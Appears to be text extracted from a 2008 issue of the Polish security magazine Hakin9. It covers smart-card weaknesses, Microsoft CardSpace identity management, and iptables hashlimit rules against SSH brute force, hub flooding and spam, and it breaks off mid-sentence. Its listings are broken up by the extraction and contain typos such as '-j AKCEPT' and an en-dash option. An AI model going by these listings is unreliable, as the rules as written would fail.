złamania klucza może być znacznie
ułatwiona. Wniosek: jeżeli zastosujemy
nawet najlepszy algorytm kryptograficzny,
gdzieś musimy posiadać do niego
narzędzia deszyfrujące. Włamywacz
będzie poszukiwał przede wszystkim ich
– chociażby z racji tego, że bezpośrednie
złamanie algorytmu może być albo
niemożliwe, albo być zadaniem dla co
najmniej kilku pokoleń. Stąd tak ważne jest
zabezpieczenie sposobów komunikacji.
Ale tak naprawdę zawsze gdzieś znajduje
się słaby punkt.
Wspomnę również o innej luce, która
wystąpiła nie tyle na samej karcie, co
w technologii jej wykorzystania. Jest to
o tyle konieczne, że karty, które mają
służyć zabezpieczeniu systemu, w tym
przypadku zostały wykorzystane jako
narzędzie do włamania! Były pracownik
Microsoftu, zapewne niezadowolony
ze sposobu zwolnienia, stworzył
narzędzie do fuzzingu (automatycznego
wyszukiwania błędów). Jego zadaniem
jest wyszukiwanie słabych stron w
pluginach dla smart cards służących
do współpracy z Vistą. Znalezienie
słabych miejsc w oprogramowaniu
pozwala nawet na przejęcie kontroli
nad systemem. Za pomocą SCardFuzz
przygotowano programy dla smart
cards, które atakują sterowniki stworzone
przez producentów dla Microsoftu
(te znajdujące się już w systemie).
Atak polega głównie na dostarczeniu
fałszywych, często losowo wybranych
danych dla plug-inów. Fałszywy kod
można zapisać bez żadnych problemów
na karcie i to za pomocą oryginalnego
oprogramowania Java dostarczonego
przez producentów. Twórca narzędzia
wręcz pokusił się o stwierdzenie, że
stworzenie apletu hakerskiego dla kart
nie jest wcale trudne ani skomplikowane.
Oczywiście łatwo to stwierdzić osobie
mającej dostęp do wielu aspektów
zamkniętego kodu, o którym zwykły haker
może jedynie marzyć. Wracając do luki:
wystarczy wsadzić kartę do komputera,
aby móc wybierać procesy systemowe,
a nawet przejąć całkowicie kontrolę nad
komputerem.
W codziennym użytkowaniu kart
trzeba zwracać uwagę na wszelkie
nieprawidłowości. Na przykład
w bankomatach mogą zostać
zainstalowane różnego rodzaju
urządzenia skanujące, które służą
często do znalezienia słabego punktu
w komunikacji. Słabym punktem jest
moment przesyłania komunikatu
identyfikującego do systemu bankowego.
Skopiowanie tego komunikatu nie daje
jeszcze nikomu naszych pieniędzy. Sam
komunikat jest bezwartościowy, ponieważ
nie da się np. złamać jego szyfrowania.
Natomiast wystarczy zdobyć kod PIN i
zostajemy bez pieniążków.
Wrócę do pytania postawionego
w nagłówku. Niestety, nie ma się co
oszukiwać, że istnieją systemy nie
do złamania. Przynajmniej nie wtedy,
gdy mówimy o czymś tworzonym dla
przeciętnego Kowalskiego. Liczba
elementów takiego systemu jest
zazwyczaj na tyle duża, że gdzieś zawsze
trafi się słaby punkt. Co do właściwości
samych kart, to w większości przypadków
nie mamy na nie absolutnie żadnego
wpływu. Kupując kartę kredytową czy
płatniczą, możemy co najwyżej wybrać
pomiędzy Visą lub MasterCard. Nic
nie mam do tych firm, jednak wybór
w tej materii przecież nie jest duży.
W przypadku, kiedy dostajemy kartę
SIM, telefoniczną czy przepustkę do
firmy, również nikt się nas nie pyta o
zabezpieczenia. W tych wszystkich
przypadkach jedyne, co nam pozostaje,
to zdrowy rozsądek, bez którego żadne
zabezpieczenie nie spełni swojej roli.
Karta elektroniczna jest jak klucz do
najlepszych drzwi antywłamaniowych.
Nawet strażacy ich nie sforsują (a
przynajmniej nie przed spaleniem
całego mieszkania). Jeżeli jednak
zgubimy klucze (a, nie daj Boże, wraz
z dokumentami, w których jest adres)
– to tak, jakby w ogóle nie było drzwi.
Zamki w takiej sytuacji należy wymienić
w trybie błyskawicznym. Jeżeli zaś mamy
okazję decydować samodzielnie, z jakiej
karty korzystamy, zwróćmy uwagę na
to, ile zabezpieczeń stosuje karta oraz
czy producent przewiduje możliwość ich
uaktualnienia (co jest ważne szczególnie
w przypadku kart długoterminowych).
Kartę chronimy więc przed zgubieniem,
zaś kodu dostępu strzeżemy niczym dobra
narodowego. Wystrzegamy się kamer
i urządzeń skanujących. Kamer w ten
sposób, że w miarę możliwości zakrywamy
klawiaturę bankomatu ręką (nawet
przed kamerą ochrony, której z definicji
również nie ufamy). Jeżeli na bankomacie
zainstalowane jest jakiekolwiek urządzenie
dodatkowe, coś nietypowego wystaje z
miejsca, gdzie wkładamy karty – jest to
sygnał dla nas, że coś jest nie w porządku
i lepiej poszukać innej ściany do wypłaty
pieniędzy. Przy okazji, jako odpowiedzialny
klient, informujemy bank o naszych
podejrzeniach.
Podobne środki bezpieczeństwa
stosujemy we wszystkich innych
miejscach. Jeżeli karta jest naszą
przepustką, zaś nagle okazuje się, że
terminal przy bramie wejściowej jest jakiś
inny, to radzę się najpierw skontaktować z
ochroną. Lepiej dmuchać na zimne. Może
się później okazać z analizy logów, że
wróciliśmy 15 minut po pracy po to, aby
dokonać aktu szpiegostwa, czy sabotażu
gospodarczego.
Odpowiedź na pytanie, czy karty są
bezpieczne, jest o tyle niejednoznaczna,
że o ile same kawałki plastyku mogą być
naprawdę świetnymi zabezpieczeniami, to
my – jako użytkownicy – często zawalamy
sprawę.
Podsumowanie
Mam nadzieję, że dzięki artykułowi udało
mi się przybliżyć Wam tematykę smart
cards na tyle, że przynajemniej będziecie w
stanie korzystać z nich odpowiedzialnie. Ich
technologia ciągle idzie do przodu i myślę,
że w związku z postępującą miniaturyzacją
możecie spodziewać się po nich jeszcze
wiele nowego, przynajmnij jeżeli chodzi
o wzrost liczby funkcji czy zastosowań.
Zresztą chodzą słuchy, że czeka nas
niedługo – a przynajmniej w najbliższych
latach – wymiana dowodu osobistego na
wersję elektroniczną. Pożyjemy, zobaczymy.
Przemysław Żarnecki
Autor jest dziennikarzem freelancerem. W pracy korzysta
non-stop z elektronicznych form komunikacji, przez co
zwraca uwagę na bezpieczeństwo. Jak każdy, korzysta z
wielu różnych kart.
Kontakt z autorem: p.zarnecki@plusnet.pl
52
OBRONA
HAKIN9 9/2008
C
ykl ten składa się z trzech
podstawowych elementów, na które
składają się usługi:
• Usługi katalogowe, czyli repozytoria
przechowujące informację o tożsamościach i
uwierzytelnienia oraz uprawnienia;
• Access management, czyli procesy
weryfikacji uwierzytelnień, kontroli dostępu do
zasobów (w tym przyznawania i odbierania
dostępu) zgodnie z uprawnieniami
stosownymi do roli;
• Identity Lifecycle Management, czyli zestaw
zdefiniowanych procesów tworzenia,
usuwania oraz modyfikacji ustawień kont,
zarządzania zmianami stanu i informacji
o tożsamości wraz z informacją o
uprawnieniach.
Procesy związane z zarządzaniem
tożsamością są powszechnie znane. Wiele
firm stosuje własne rozwiązania, ale z drugiej
strony znaczna liczba organizacji wdraża
gotowe systemy i aplikacje pomagające w
codziennej pracy. W chwili obecnej w wielu
przedsiębiorstwach można nadal napotkać
na problemy związane z zarządzaniem
tożsamością, które mogą powodować ogromny
chaos dla użytkowników. Na czym polega
taki chaos? Ogólnie rzecz biorąc, w każdym
przedsiębiorstwie istnieje więcej niż jeden
system, który wymaga logowania do niego,
ARTUR ŻARSKI
Z ARTYKUŁU
DOWIESZ SIĘ
artykuł przedstawia zagadnienia
związane z zarządzaniem
tożsamością na platformie
Microsoft ze szczególnym
uwzględnieniem CardSpace.
CO POWINIENEŚ
WIEDZIEĆ
nie jest potrzebna żadna
szczegółowa wiedza dotycząca
technologii. Jest to artykuł
wprowadzający w temat
zarządzania tożsamością.
oraz więcej niż jeden użytkownik, który ma
takie, a nie inne uprawnienia. Każdy z tych
użytkowników posiada swoje własne hasło
logowania do takiego systemu, a zatem – im
więcej systemów, tym większa konieczność
pamiętania nazw użytkowników i haseł. Z punktu
widzenia administratorów systemy zarządzające
użytkownikami w sposób zdecentralizowany
również są problematyczne. Co zatem można
zrobić? Czy jest jakaś możliwość, aby omawiany
proces był łatwiejszy, bezpieczniejszy i przede
wszystkim bliższy optymalnemu? Oczywiście, że
jest – kwestia kluczowa to wdrożenie systemu
zarządzania tożsamością.
Systemy zarządzające tożsamością posiadają
wiele funkcji, wśród których można wyróżnić
między innymi:
• Zarządzanie nowym użytkownikiem
– utworzenie konta, utworzenie
uwierzytelnienia, nadanie odpowiednich
praw dostępu;
• Kasowanie – kasowanie lub blokada konta,
kasowanie lub blokada praw dostępu;
• Zarządzanie hasłami – sprawdzanie siły hasła,
reset hasła;
• Zmiany typu konta – awanse, transfery, nowe
przywileje, zmieniające się atrybuty, etc.
Do tego wszystkiego dochodzi stworzenie
metabazy, która będzie te wszystkie informacje
gromadzić i synchronizować pomiędzy różnymi
Stopień trudności
Zarządzanie
tożsamością
Zarządzanie tożsamością jest bardzo szerokim pojęciem,
które posiada wiele definicji. Definicje te można sprowadzić do
stwierdzenia, które mówi, że jest to zestaw technologii i procedur
umożliwiający efektywne zarządzanie cyklem życia tożsamości
użytkownika.
53
ZARZĄDZANIE TOŻSAMOŚCIĄ
HAKIN9
9/2008
systemami, a także będzie posiadać
mechanizm raportowania tego, co się
aktualnie dzieje w systemie.
Na czym polega w takim razie
synchronizacja? Do jej zadań należy
między innymi automatyzacja
zarządzania życiem obiektów
(provisioning oraz deprovisioning),
przepływ danych pomiędzy katalogami,
przechowywanie informacji o relacjach
pomiędzy obiektami odpowiadającymi
tej samej tożsamości, które znajdują
się w różnych katalogach. Proces
synchronizacji zapewnia, że będziemy
posiadać spójne dane w zintegrowanych
katalogach, że podstawowe informacje
będą replikowane do wszystkich
katalogów oraz że dysponujemy
aktualnymi danymi.
Przy opisywaniu procesu
synchronizacji spotykamy dwa nowe
hasła: provisioning oraz proces
odwrotny, czyli deprovisioning.
Pierwsze z tych pojęć to
automatyzacja procesu dostępu do
zasobów, w których użytkownik otrzymuje
swoje własne uprawniania w sposób
zupełnie automatyczny na bazie danych
wejściowych.
Zestaw reguł definiuje, w jakich
repozytoriach i na jakich zasadach
użytkownik powinien mieć dostęp
do zasobów. Provisioning to nie
tylko tworzenie kont, ale również
tworzenie unikalnego loginu i
innych atrybutów, które są zgodne z
zadanymi konwencjami nazewnictwa,
przypisanie do odpowiednich ról
lub grup, do kontenerów zgodnie ze
stanowiskiem, ustawienie i przekazanie
pierwszego hasła dostępowego,
wysłanie wiadomości powitalnej, etc.
Deprovisioning to proces odwrotny.
Przejdźmy zatem do głównego
tematu artykułu, czyli zarządzania
tożsamością przy wykorzystaniu
produktów Microsoft i dokładniejszego
omówienia jednego z nich. Microsoft
w swoim katalogu rozwiązań posiada
wiele produktów lub technologii, które
umożliwiają zarządzanie tożsamością.
W dalszej części tekstu postaram się je
wszystkie przedstawić.
Rysunek 1.
Schemat działania CardSpace
�����������������������������
�����������������������������
������������������������
����������������������������
������������������
������������
���������������������
�������������������������
������������������
����������
��������������
���������������������
�����������
���������������������
���������������������
�����������������
�������������������������������������
����������������������������
������������������������������������
��
��
��
��
���
��
Rysunek 2.
Logowanie do strony przy użyciu CardSpace
Rysunek 3.
CardSpace w Panelu
Sterowanie
OBRONA
54
HAKIN9 9/2008
ZARZĄDZANIE TOŻSAMOŚCIĄ
55
HAKIN9
9/2008
Do rozwiązań związanych z
zarządzaniem tożsamością należą
między innymi:
• Access Control List – lista kontroli
dostępu, skojarzona z plikiem lub
obiektem, zawierająca informacje
o użytkownikach, procesach lub
obiektach, które mogą uzyskiwać do
niego dostęp.
• Active Directory – usługi katalogowe dla
systemu Windows Server;
• ADAM (AD LDS), ADFS – Active
Directory Application Mode oraz
Active Directory Federation Services,
czyli specjalne tryby pracy dla
Active Directory, które nie wymagają
zależności wymaganych w przypadku
usługi katalogowej (np. nie wymagają
wdrażania domen ani kontrolerów
domen);
• CardSpace – omawiany w dalszej
części artykułu;
• Kerberos – protokół, który do
autoryzacji wykorzystuje centrum
dystrybucji kluczy;
• MIIS (Microsoft Identity Integration
Server) – stanowi najważniejszy
komponent w systemach zarządzania
tożsamością. Jest narzędziem,
którego zadaniem jest kontrola
operacji provisioningu nowych
tożsamości i deprovisioningu już
istniejących, zarządzanie hasłami i
synchronizowanie danych pomiędzy
podłączonymi źródłami danych;
• ILM (Identity Lifecycle Manager)
– jest platformą dla synchronizacji
tożsamości, certyfikatów i zarządzania
hasłami oraz użytkowników (następca
MIIS).
• LiveID – Windows Live ID (dawniej
Microsoft Passport lub .NET
Passport) to ogólnodostępny, jednolity
system, umożliwiający dowolnym
użytkownikom (nie tylko klientom
Microsoft) korzystanie ze wszystkich
stron Microsoft wymagających
logowania.
CardSpace
CardSpace to technologia identyfikacji
i zarządzania tożsamością
zaimplementowana w Windows Vista
(dostępna także w Windows XP jako część
.NET Framework 3.0). Poprzednia nazwa
tej technologii to InfoCard. W Cardspace
poszczególni wystawcy tożsamości są
prezentowani użytkownikowi w postaci
kart. Na karcie zapisywane są metadane
reprezentujące możliwości wystawcy
takiej tożsamości. Wśród nich możemy
wyróżnić: rodzaje dostarczanych
stwierdzeń, formaty tokenów, lokalizację
STS. Karta jest reprezentowana przez
dokument XML zawierający metadane
i obrazek podpisany przez wystawcę
przy użyciu XMLDSIG (XML digital
signature). Dokument ten (w postaci pliku
*.crd) stanowi kartę informacyjną (ang.
Information Card), która reprezentuje
relację użytkownika z wystawcą
tożsamości. Istnieją dwa rodzaje kart:
• osobiste – przypominające wizytówki,
mają one kilkanaście pól zawierających
podstawowe dane, karty te tworzy sam
użytkownik,
Listing 1.
Uruchomienie CardSpace w aplikacji ASP.NET 2.0
<
form name=“logon page
" method="
post”
…
<
object type=
"application/x-informationcard"
name=
"xmlToken"
>
<
param name=
"tokenType"
value=
"urn:oasis:names:tc:SAML:1.0:assertion"
>
<
param name=
"issuer“ value="
http://schemas/.../identity/issuer/self"
>
<
param name=
"requiredClaims"
value=
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/emailaddress
http://"
http://schemas/.../identity/claims/privatepersonalidentifier"
>
<
/object
>
<
/form
>
Rysunek 5.
Tworzenie nowej karty
Rysunek 4.
Pusta lista kart
OBRONA
54
HAKIN9 9/2008
ZARZĄDZANIE TOŻSAMOŚCIĄ
55
HAKIN9
9/2008
• zarządzane – wydawane przez
instytucje (np. pracodawcę),
zawierające dowolną liczbę pól, są one
przechowywane na serwerze instytucji,
która je wydała.
Użytkownicy autentykują się do stron
WWW oraz różnych serwisów przez
wybranie z zestawu wirtualnych
identyfikatorów (kart) tej, która identyfikuje
użytkownika. Użytkownik może mieć
kilka kart, które mogą mu służyć do
autoryzacji w różnych serwisach lub
stronach.
Założenia dla CardSpace są
następujące:
• Niezależne od przeglądarki
– zdefiniowane są mechanizmy
wspierające implementację dla
dowolnej przeglądarki i na dowolnej
platformie;
• Niezależne od serwera WWW
– protokoły komunikacyjne wspierane
są przez dowolną stronę WWW oraz
platformę;
• Minimalna ingerencja w stronę WWW –
udogodniona adaptacja mechanizmu
przez minimalne zmiany w istniejącej
stronie;
• Brak stałej integracji z przeglądarką
– obsługa kart ma być plugin’em
do przeglądarki, a nie jej częścią
integralną;
• Praca z przeglądarką przy
wysokim poziomie bezpieczeństwa
– dostarczany mechanizm aktywacji
wyboru pozwala na pracę również
wtedy, gdy przeglądarka ma ustawiony
poziom bezpieczeństwa Wysoki.
Przepływ pracy użytkownika i
poszczególnych elementów systemu
przedstawiony został na Rysunku 1.
Jak widać z tego rysunku, pierwszym
krokiem użytkownika po wejściu na
stronę, która wykorzystuje CardSpace,
jest przejście na stronę logowania. W
momencie, kiedy użytkownik ma się
zalogować do strony, zostaje poproszony
o podanie hasła lub wybór karty
(Rysunek 2). Po wyborze karty przez
użytkownika zostaje ona przekazana
do centrum autoryzacji w celu
potwierdzenia tożsamości. Dzieje się
to zupełnie automatycznie, bez wiedzy
użytkownika.
Jeśli użytkownik zostanie
zweryfikowany poprawnie, otrzymuje
token, którym następnie posługuje się
przeglądarka w komunikacji z wybraną
stroną WWW.
Z punktu widzenia użytkownika
końcowego praca z CardSpace jest
bardzo prosta. Na przykładzie Windows
Vista prześledźmy proces tworzenia
takiej karty. W Panelu Sterowania
znajdujemy opcję odpowiedzialną za
CardSpace (Rysunek 3). Następnie
uruchamiamy tę opcję i dostajemy listę
stworzonych kart. W naszym przypadku
lista jest pusta (Rysunek 4). Wybieramy
opcję Utwórz nową kartę i zostajemy
poproszenie o wybranie rodzaju karty.
Wybieramy karta osobista i wypełniamy
ją danymi (Rysunek 5). Po zapisaniu
danych nasza lista z karatami została
wzbogacona o nowo utworzoną kartę
(Rysunek 6).
We wcześniejszym fragmencie
tekstu dotyczącym założeń napisałem,
że kwestia integracji aplikacji Web z
mechanizmem kart ma być prosta.
Jak zatem wygląda taka integracja?
Generalnie należy dodać fragment
kodu HTML, który będzie odpowiadał
za pokazanie selektora kart. Jest to
jasno zdefiniowany typ aplikacji, który
osadzamy jako obiekt na stronie. Poniżej
fragment kodu HTML odpowiedzialny za
ten proces.
Z punktu widzenia programisty to w
zasadzie wszystko. Ze strony konfiguracji
witryny wymagane jest włączenie protokołu
HTTPS oraz obsługi Extended Validation
dla certyfikatów.
Jeśli chodzi o implementację
InfoCard, to nie tylko Microsoft jest
tutaj dostawcą rozwiązania. Jest
wiele inicjatyw i projektów Open
Source, które również je wspierają.
Są to rozwiązania wspierane między
innymi przez IBM, Novell, Red Hat, Sun,
VeriSign i innych, dla których Microsoft
oferuje pełne wsparcie technologiczne.
Interoperacyjność poprzez opublikowane
w sieci protokoły została pokazana
na przykładzie gotowych rozwiązań,
które służą między innymi do
wyboru identyfikatorów, systemów
sprawdzających tożsamość oraz
dostawców tożsamości. W Internecie
opublikowana jest pełna dokumentacja
dla CardSpace wraz z przykładami
użycia, implementacji, technologii,
protokołów.
Artur Żarski
Jest pracownikiem firmy Microsoft. Na co dzień
zajmuje się m.in. tworzeniem rozwiązań w oparciu
o SQL Server w różnych aspektach – bazy
relacyjne, usługi integracyjne, usługi analityczne.
Jest certyfikowanym administratorem baz danych
(MCDBA).
Kontakt z autorem: arturz@microsoft.com
Rysunek 6.
Nowo utworzona karta na liście kart
56
OBRONA
HAKIN9 9/2008
J
ednym ze znakomitych sposobów
dozbrajania oraz poszerzania
funkcjonalności firewalla jest korzystanie z
łatki hashlimit. Oferowane przez nią możliwości są
ograniczone jedynie wyobraźnią administratora.
Opisane w artykule rozwiązania będą
przedstawiane oraz testowane w rzeczywistym
środowisku, które obsługuje sieć na parę
tysięcy klientów z dostępem do Internetu (lokalny
ISP). Konfigurować będziemy główny router, a
zarazem firewall, który kontroluje ruch internetowy
indywidualnych klientów oraz serwera usługowego
z zainstalowanymi usługami WWW/FTP/mail/
DNS/SSH i Verlihub.
Bronimy dostępu do SSH
Dostęp do usługi SSH na serwerze usługowym
jest domyślnie blokowany na głównym firewallu.
Stwarza to poważny problem podczas wyjazdu
na wakacje lub weekend. Zdalna praca staje się
wtedy niemożliwa. Usługa SSH blokowana jest
ze względu na irytujące próby włamania przy
wykorzystaniu ataku słownikowego lub brute
force. Oczywiście można zmienić domyślny port
usługi z 22 na jakikolwiek inny. Metoda ta jednak
jest wątpliwie skuteczna, proste skanowanie
serwera z poszukiwaniem banera powitalnego
zdradzi włamywaczowi bardzo szybko nasze
niestandardowe porty. Znacznie skuteczniejszą
metodą jest ograniczenie ilości prób logowania
w założonym przedziale czasu. Próba włamania
zostanie znacząco utrudniona, gdy zezwolimy na
JAROSŁAW
RADZISZEWSKI
Z ARTYKUŁU
DOWIESZ SIĘ
jak utrudnić napastnikowi ataki
typu brute force ,
jak zminimalizować ryzyko
udanego ataku DoS oraz DdoS,
jak chronić sieci przed atakami
flood,
jak wykorzystywać możliwości
hashlimit w iptables.
CO POWINIENEŚ
WIEDZIEĆ
powinieneś umieć pisać reguły
iptables,
powinieneś umieć ze
zrozumieniem sniffować pakiety
w sieci,
powinieneś znać podstawowe
problemy związane z atakami
DoS oraz DdoS.
dwa połączenia na minutę. Użytkownik znający
prawidłową kombinację user/pass zaloguje
się bez przeszkód, natomiast włamywacz
zaopatrzony w skrypt automatycznie generujący
hasła niemalże natychmiast zostanie odcięty
od usługi. Będzie się tak działo, ponieważ nasz
firewall zezwoli jedynie na dwie próby połączenia
z usługą. Po wyczerpaniu limitu dwóch połączeń
musi odczekać minutę w celu przetestowania
kolejnych kombinacji user/pass. Przy nieudanej
próbie sytuacja się powtarza, więc znowu należy
odczekać minutę itd.
Funkcjonalność taka uzyskamy właśnie dzięki
wykorzystaniu łatki na iptables o nazwie hashlimit.
Reguły zapory przedstawione na Listingu 1. w
pierwszej kolejności zezwalają na nowe
(
-m state --state NEW
) połączenia z
portem TCP/22 (domyślny port ssh) tylko raz
na minutę, wszystkie następne połączenia są
logowane, a następnie usuwane. W ten prosty
sposób znacząco ograniczyliśmy włamywaczowi
możliwość testowania kombinacji user/pass do
zdalnej powłoki serwera.
Zabezpieczenie Verlihub
Verlihub to aplikacja tworząca tak zwany
HUB sieci Direct Connect. Użytkownicy przy
pomocy programów klienckich łączą się z
hubem (serwerem), gdzie mogą dyskutować
jak na tradycyjnym czacie oraz wymieniać się
udostępnionymi plikami. Tak więc to nic innego,
jak połączenie wydajnej sieci P2P z funkcjami
Stopień trudności
Hashlimit
Z atakami typu Brute Force mamy do czynienia na codzień.
Zminimalizuj ryzyko udanego ataku Dos oraz Ddos czytając ten
artykuł.
57
HASHLIMIT
HAKIN9
9/2008
czata. Bardzo często użytkownicy hubów
tworzą swoiste społeczności i, jak to bywa,
zdarzają się wszelkiego rodzaju sprzeczki,
które w skrajnych przypadkach kończą
się próbą przejęcia lub wręcz wyłączenia
takiego huba przez osoby do tego nie
uprawnione. Bez względu na pobudki, jeśli
jest możliwość zakłócenia pracy serwera,
można z całą pewnością stwierdzić że
znajdzie się ktoś, kto będzie starał się ją
wykorzystać.
Jedną z metod zakłócenia pracy
huba jest masowe klonowanie nicków
i logowanie się. Następnie takie klony
masowo wysyłają teksty na głównego
czata, który w efekcie zostaje zaśmiecony.
Przy odpowiedniej ilości klonów oraz
wpisywanych tekstów, serwer ma
problem z przetworzeniem takiej ilości
informacji. Dalszy scenariusz jest łatwy do
przewidzenia – hub zostaje przeciążony i
dochodzi do klasycznego DoS, czyli Denial
of Service.
Także i w tym przypadku z pomocą
przyjdzie nam hashlimit.
Reguły iptables przedstawione na
Listingu 2. są, jak widać, nieznaczną
modyfikacją Listingu 1, zmiana
dotyczy oczywiście portu docelowego
– w drugim przykładzie został użyty
domyślny port huba Direct Connect,
czyli TCP/411. Ponadto został zmieniony
limit – tym razem pozwalamy na nowe
połączenie tylko raz na minutę. Należy
jednak wziąć pod uwagę jeden drobny
szczegół – na hubie, którego dotyczy
ta reguła, wszyscy klienci posiadają
publiczne adresy IP. Jeśli filtr ma
dotyczyć huba z użytkownikami, którzy
łączą się za pośrednictwem NAT (ang.
Network Address Translation), należy
zwiększyć limit. Związane jest to z
faktem iż prawdopodobnie na hubie
będzie zalogowany więcej niż jeden
użytkownik z tym samym adresem IP.
W tym przypadku istnieje więc pewne
zagrożenie, że nasz filtr uniemożliwi
zalogowanie się uprawnionemu klientowi.
Oczywiście tylko w przypadku, gdy w
czasie jednej minuty dwóch użytkowników
z tym samym adresem IP będzie starało
się zalogować.
Hashlimit
dla serwera pocztowego
Posiadanie własnego serwera pocztowego
obecnie stało się standardem.
Administrator każdego takiego serwera
nieustannie jest nękany przez spamerów.
Problem dotyczy zarówno ogromnej ilości
Listing 1.
Reguły zapory
iptables
-
A
FORWARD
-
i
<
interfejs
zew
>
-
d
<
ip_serwera
>
-
m
hashlimit
-
m
tcp
-
p
tcp
--
dport
22
–
hashlimit
\
2
/
min
--
hashlimit
-
mode
srcip
,
dstip
--
hashlimit
-
name
ssh_limit
-
m
state
--
state
NEW
-
j
ACCEPT
iptables
-
A
FORWARD
-
i
<
interfejs
zew
>
-
d
<
ip_serwera
>
-
m
tcp
-
p
tcp
--
dport
22
-
m
state
--
state
NEW
\
-
j
LOG
--
log
-
level
info
--
log
-
prefix
"SSH BRUTE attack"
iptables
-
A
FORWARD
-
i
<
interfejs
zew
>
-
d
<
ip_serwera
>
-
m
tcp
-
p
tcp
--
dport
22
-
m
state
--
state
NEW
-
j
DROP
Listing 2.
Reguły iptables
iptables
-
A
FORWARD
-
i
<
interfejs
zew
>
-
d
<
ip_serwera
>
-
m
hashlimit
-
m
tcp
-
p
tcp
--
dport
411
–
hashlimit
\
1
/
min
--
hashlimit
-
mode
srcip
,
dstip
--
hashlimit
-
name
hub_limit
-
m
state
--
state
NEW
-
j
ACCEPT
iptables
-
A
FORWARD
-
i
<
interfejs
zew
>
-
d
<
ip_serwera
>
-
m
tcp
-
p
tcp
--
dport
411
-
m
state
--
state
NEW
\
-
j
LOG
--
log
-
level
info
--
log
-
prefix
"HUB Flood"
iptables
-
A
FORWARD
-
i
<
interfejs
zew
>
-
d
<
ip_serwera
>
-
m
tcp
-
p
tcp
--
dport
411
-
m
state
--
state
NEW
-
j
DROP
Listing 3.
Dyrektywy Postfiksa umieszczone w pliku main.cf
smtpd_error_sleep_time
=
3
smtpd_soft_error_limit
=
3
smtpd_hard_error_limit
=
5
Listing 4.
Wpisy w logach serwera Postfix
Jul
27
05
:
36
:
01
sk1
postfix
/
smtpd
[
3369
]:
too
many
errors
after
RCPT
from
unknown
[
211.117
.
157.167
]
Jul
27
05
:
36
:
01
sk1
postfix
/
smtpd
[
3369
]:
disconnect
from
unknown
[
211.117
.
157.167
]
Jul
27
18
:
45
:
03
sk1
postfix
/
smtpd
[
19565
]:
too
many
errors
after
RCPT
from
unknown
[
123.56
.
100.175
]
Jul
27
18
:
45
:
03
sk1
postfix
/
smtpd
[
19565
]:
disconnect
from
unknown
[
123.56
.
100.175
]
Listing 5.
Odciążenie serwera za pomocą hashlimit
iptables
-
A
FORWARD
-
i
<
interfejs
zew
>
-
d
<
ip_serwera
>
-
m
hashlimit
-
m
tcp
-
p
tcp
--
dport
25
–
hashlimit
\
3
/
min
--
hashlimit
-
mode
srcip
,
dstip
--
hashlimit
-
name
smtp_limit
-
m
state
--
state
NEW
-
j
ACCEPT
iptables
-
A
FORWARD
-
i
<
interfejs
zew
>
-
d
<
ip_serwera
>
-
m
tcp
-
p
tcp
--
dport
25
-
m
state
--
state
NEW
\
-
j
LOG
--
log
-
level
info
--
log
-
prefix
"Spam Limit"
iptables
-
A
FORWARD
-
i
<
interfejs
zew
>
-
d
<
ip_serwera
>
-
m
tcp
-
p
tcp
--
dport
25
-
m
state
--
state
NEW
-
j
DROP
OBRONA
58
HAKIN9 9/2008
HASHLIMIT
59
HAKIN9
9/2008
niechcianych przesyłek pocztowych, jak i
prób wykorzystania serwera pocztowego
jako pośrednika w dalszym rozsyłaniu
spamu.
Metod obrony przed tego typu
problemami jest sporo, podstawową
jest prawidłowa konfiguracja
serwera. Standardem już są roboty
sieciowe, które starają się obejść
zabezpieczenia na wszelakie sposoby,
testując metodę po metodzie. Serwer
pocztowy Postfix ma wbudowany prosty
– aczkolwiek skuteczny – mechanizm
obrony, polegający na rozłączeniu
z klientem, który zbyt często się
myli, a w rzeczywistości stara się
znaleźć skuteczną metodę ominięcia
zabezpieczeń.
Listing 3. przedstawia proste dyrektywy
Postfiksa umieszczone w pliku main.cf
Przy takiej konfiguracji serwera Postfix
szybko zauważymy w logach wpisy
przedstawione na Listingu 4.
Wynika z tego, iż serwer prawidłowo
wyłapuje spamerów, można się ucieszyć i
zostawić to tak jak jest. Można też odciążyć
serwer pocztowy od rozmowy z takimi
klientami – najprościej przy pomocy
hashlimit (Listing 5).
Metoda limitowania jest identyczna,
jak w poprzednich przykładach,
zmieniona została tylko wielkość limitu.
Po dokładnej analizie logów serwera
pocztowego można zdecydowanie
powiedzieć, że limit trzech nowych
połączeń jest wartością bardzo
bezpieczną – a wręcz na wyrost.
Zabezpieczenie
przed powodzią pakietów
Opisane powyżej funkcjonalności
znakomicie nadają się do zabezpieczania
wszelakich usług znajdujących się na
serwerze. Generalizując – zabezpieczamy
nasz serwer przed intruzami z Internetu.
Jednakże nic nie stoi na przeszkodzie by
wykorzystać hashlimit do zabezpieczania
obcych serwerów przed poczynaniami
naszych klientów. W dobie wszędobylskich
wirusów coraz częściej niczego
nieświadomy klient, korzystający z naszych
usług dostępu do Internetu, zalewa
pakietami inne sieci. Najczęściej są to
zmasowane powodzie pakietami ICMP lub
SYN, którymi steruje haker korzystający
z furtki w systemie naszego klienta. W
efekcie nasza sieć staje się intruzem
atakującym inną sieć, a przy okazji
taka powódź bardzo skutecznie zatyka
naszą sieć, wskutek czego cierpią inni
użytkownicy.
Naturalnym zabezpieczeniem staje się
ograniczenie ilości pakietów, jakie może
wysłać nasz klient w kierunku Internetu.
Metoda ta często jest stosowana w
celu spowolnienia działania programów
Rysunek 2.
Syn bez Hash
Rysunek 3.
Brutus z hash
Rysunek 1.
Syn z hash
OBRONA
58
HAKIN9 9/2008
HASHLIMIT
59
HAKIN9
9/2008
do bezpośredniej wymiany plików, lecz
naszym celem będzie umożliwienie
klientowi możliwie jak najszybszego
surfowania po Internecie oraz korzystania
z programów p2p, przy równoczesnym
zabezpieczeniem się przed powodziami
pakietów.
Powodzie pakietów to zwykle
połączenia, które nie są uzgadniane
– wysyła się jak największą ilość pakietów,
nie oczekując nawet na ich powrót celem
nawiązania sesji.
Wychodząc z tego faktu, stworzymy
proste reguły iptables:
iptables -A FORWARD -m state --state
ESTABLISHED,RELATED -j ACCEPT
Połączenia, które zostały wcześniej
uzgodnione, przepuszczamy do Internetu,
ponieważ nie spełniają warunku, który
określiliśmy wcześniej – interesują nas
po prostu tylko nowe połączenia, te, które
jeszcze nie zostały nawiązane.
Skoro aktywne sesje działają
bez ograniczeń ilości pakietów,
przystępujemy do ograniczania ilości
reszty pakietów wysyłanych przez
naszych klientów.
iptables -A FORWARD -s ip_klienta
-m hashlimit --hashlimit-name
klienci --hashlimit 30/s --
hashlimit-mode srcip -j AKCEPT
Regułka zezwala klientowi na wysłanie
30 nowych pakietów w jednej sekundzie
– ilość ta nie powinna zablokować pracy
